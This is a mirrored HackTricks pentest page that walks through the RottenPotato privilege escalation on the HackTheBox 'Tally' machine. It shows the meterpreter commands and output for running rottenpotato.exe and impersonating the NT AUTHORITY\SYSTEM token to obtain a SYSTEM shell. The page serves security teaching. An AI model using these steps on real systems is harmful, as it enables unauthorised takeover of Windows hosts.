mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
86 lines
2.6 KiB
Markdown
86 lines
2.6 KiB
Markdown
|
# RottenPotato
|
|||
|
|
|
|||
|
|
The info in this page info was extracted [from this post](https://www.absolomb.com/2018-05-04-HackTheBox-Tally/)
|
|||
|
|
|
|||
|
|
Service accounts usually have special privileges \(SeImpersonatePrivileges\) and this could be used to escalate privileges.
|
|||
|
|
|
|||
|
|
[https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
|
|||
|
|
|
|||
|
|
I won’t go into the details on how this exploit works, the article above explains it far better than I ever could.
|
|||
|
|
|
|||
|
|
Let’s check our privileges with meterpreter:
|
|||
|
|
|
|||
|
|
```text
|
|||
|
|
meterpreter > getprivs
|
|||
|
|
|
|||
|
|
Enabled Process Privileges
|
|||
|
|
==========================
|
|||
|
|
|
|||
|
|
Name
|
|||
|
|
----
|
|||
|
|
SeAssignPrimaryTokenPrivilege
|
|||
|
|
SeChangeNotifyPrivilege
|
|||
|
|
SeCreateGlobalPrivilege
|
|||
|
|
SeImpersonatePrivilege
|
|||
|
|
SeIncreaseQuotaPrivilege
|
|||
|
|
SeIncreaseWorkingSetPrivilege
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Excellent, it looks like we have the privileges we need to perform the attack. Let’s upload `rottenpotato.exe`
|
|||
|
|
|
|||
|
|
Back on our meterpreter session we load the `incognito` extension.
|
|||
|
|
|
|||
|
|
```text
|
|||
|
|
meterpreter > use incognito
|
|||
|
|
Loading extension incognito...Success.
|
|||
|
|
meterpreter > list_tokens -u
|
|||
|
|
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
|||
|
|
Call rev2self if primary process token is SYSTEM
|
|||
|
|
|
|||
|
|
Delegation Tokens Available
|
|||
|
|
========================================
|
|||
|
|
NT SERVICE\SQLSERVERAGENT
|
|||
|
|
NT SERVICE\SQLTELEMETRY
|
|||
|
|
TALLY\Sarah
|
|||
|
|
|
|||
|
|
Impersonation Tokens Available
|
|||
|
|
========================================
|
|||
|
|
No tokens available
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
We can see we currently have no Impersonation Tokens. Let’s run the Rotten Potato exploit.
|
|||
|
|
|
|||
|
|
```text
|
|||
|
|
meterpreter > execute -f rottenpotato.exe -Hc
|
|||
|
|
Process 3104 created.
|
|||
|
|
Channel 2 created.
|
|||
|
|
meterpreter > list_tokens -u
|
|||
|
|
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
|||
|
|
Call rev2self if primary process token is SYSTEM
|
|||
|
|
|
|||
|
|
Delegation Tokens Available
|
|||
|
|
========================================
|
|||
|
|
NT SERVICE\SQLSERVERAGENT
|
|||
|
|
NT SERVICE\SQLTELEMETRY
|
|||
|
|
TALLY\Sarah
|
|||
|
|
|
|||
|
|
Impersonation Tokens Available
|
|||
|
|
========================================
|
|||
|
|
NT AUTHORITY\SYSTEM
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
We need to quickly impersonate the token or it will disappear.
|
|||
|
|
|
|||
|
|
```text
|
|||
|
|
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
|
|||
|
|
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
|||
|
|
Call rev2self if primary process token is SYSTEM
|
|||
|
|
[-] No delegation token available
|
|||
|
|
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
|
|||
|
|
meterpreter > getuid
|
|||
|
|
Server username: NT AUTHORITY\SYSTEM
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Success! We have our SYSTEM shell and can grab the root.txt file!
|
|||
|
|
|